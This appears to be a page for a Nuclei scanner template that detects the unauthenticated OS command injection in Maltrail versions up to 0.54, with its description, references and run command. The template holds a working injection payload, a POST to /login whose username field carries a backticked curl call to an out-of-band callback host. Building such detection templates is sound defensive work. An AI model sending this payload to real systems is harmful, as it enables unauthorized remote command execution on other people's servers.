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Maltrail <= v0.54 - Unauthenticated OS Command Injection

ID: maltrail-rce

Severity: critical

Author: pussycat0x

Tags: huntr,maltrail,rce,oast,oos

The subprocess.check_output function in mailtrail/core/http.py contains a command injection vulnerability in the params.get(“username”)parameter.An attacker can exploit this vulnerability by injecting arbitrary OS commands into the username parameter. The injected commands will be executed with the privileges of the running process. This vulnerability can be exploited remotely without authentication.

id: maltrail-rce
info:
name: Maltrail <= v0.54 - Unauthenticated OS Command Injection
author: pussycat0x
severity: critical
description: |
The subprocess.check_output function in mailtrail/core/http.py contains a command injection vulnerability in the params.get("username")parameter.
An attacker can exploit this vulnerability by injecting arbitrary OS commands into the username parameter. The injected commands will be executed with the privileges of the running process. This vulnerability can be exploited remotely without authentication.
remediation: Fixed in 0.55 Version
reference:
- https://huntr.dev/bounties/be3c5204-fbd9-448d-b97c-96a8d2941e87/
- https://github.com/stamparm/maltrail/commit/a299967318cc226c18a6a07d1be708e3f21edd39
metadata:
verified: true
max-request: 1
fofa-query: "Server: Maltrail"
tags: huntr,maltrail,rce,oast,oos
http:
- raw:
- |
POST /login HTTP/1.1
Host: {{Hostname}}
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Origin: {{RootURL}}
Referer: {{RootURL}}
username=;`curl {{interactsh-url}}`
matchers:
- type: dsl
dsl:
- contains(body,'Login failed')
- contains(interactsh_protocol,'dns')
- contains(content_type, "text/plain")
condition: and
# digest: 490a0046304402201f0926c24605270524d913447cfa8a8d0eb7aae1f2a85f14aeff3bbdc9711dad02205c7c4bfb1ed90836b397f3956a572ff3173db999f101f5c45b9bd5db3972e08b:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/other/maltrail-rce.yaml"

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